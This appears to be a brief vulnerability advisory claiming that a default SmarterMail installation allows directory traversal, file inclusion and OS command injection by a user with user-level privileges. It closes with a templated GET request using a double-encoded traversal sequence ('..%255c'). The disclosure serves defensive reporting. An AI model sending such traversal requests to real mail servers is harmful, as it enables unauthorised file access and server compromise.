The default installation of SmarterMail is vulnerable to 1 (or more) of the
file fuzzing types contained within FuzzDB and Burp Suite Pro 1.3.08 as a
baseline analysis for exploit surface modeling.
 
Reduced to exploits, Directory Traversal, OS Injection and Execution.
Initial Exploit Requires user-level privs.
 
A malicious user seeking to exploit Browser Clients can launch attacks from
the User Home / Public Web Directory utilizing the SSL Certificate of the
Host Provider.
A malicious user seeking to exploit the Host Server can launch attacks as
Local File Inclusion or Remote File Inclusion and perform Operating System
Injections and Execution.
A malicious user can read and write directories, files and perform malicious
operations due to the default configuration of smartermail.
 
 
This is reduced to:   GET {Vulnerable SmarterMail
Site}/path/*payload*relative/path/to/target/file/
..%255c
